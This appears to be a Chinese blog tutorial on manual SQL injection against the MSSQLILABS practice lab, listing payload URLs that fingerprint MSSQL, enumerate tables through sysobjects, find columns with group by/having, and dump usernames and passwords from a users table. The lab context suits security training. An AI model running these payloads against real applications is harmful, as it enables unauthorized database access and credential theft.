MSSQLILABS靶场手工注入

一.判断注入点

注入点为1',如下图所示,可知数据类型为字符型

 二.判断是否为MSSQL数据库(可利用报错来看)

判断报错

判断正确

http://172.16.1.34/less-1.asp?id=-1' and exists(select *from sysobject)--+icon-default.png?t=N7T8http://172.16.1.34/less-1.asp?id=-1' and exists(select *from sysobject)--+

三.:查询数据库信息,user回显的dbo表示是最⾼权限,如果是⽤户的名字表示是普通权限

 查出用户与数据库名http://172.16.1.34/less-1.asp?id=-1%27%20union%20select%201,user,db_name()--+icon-default.png?t=N7T8http://172.16.1.34/less-1.asp?id=-1%27%20union%20select%201,user,db_name()--+

四. 通过以下语句来猜解有哪些表...从⽽获取⽬标站点的表信息...

第一张表

http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' )--+icon-default.png?t=N7T8http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' )--+

第二张表

http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--+icon-default.png?t=N7T8http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--+

第三张表

http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails')-- +icon-default.png?t=N7T8http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails')-- +

第四张表

http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents')--+icon-default.png?t=N7T8http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents')--+

 第五张表返回值为空,说明只有四张表

五.爆出user表里信息

通过以下语句爆出

having 1=1 --+

'having 1=1- 'group by 字段名 1--+

having 1=1- 'group by 字段名 1 ,字段名 2--+

 

 

六.爆出字段值

http://172.16.1.34/less-1.asp?id=-1%27%20union%20all%20select%201,username%20,%20password%20from%20users--+icon-default.png?t=N7T8http://172.16.1.34/less-1.asp?id=-1%27%20union%20all%20select%201,username%20,%20password%20from%20users--+ 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值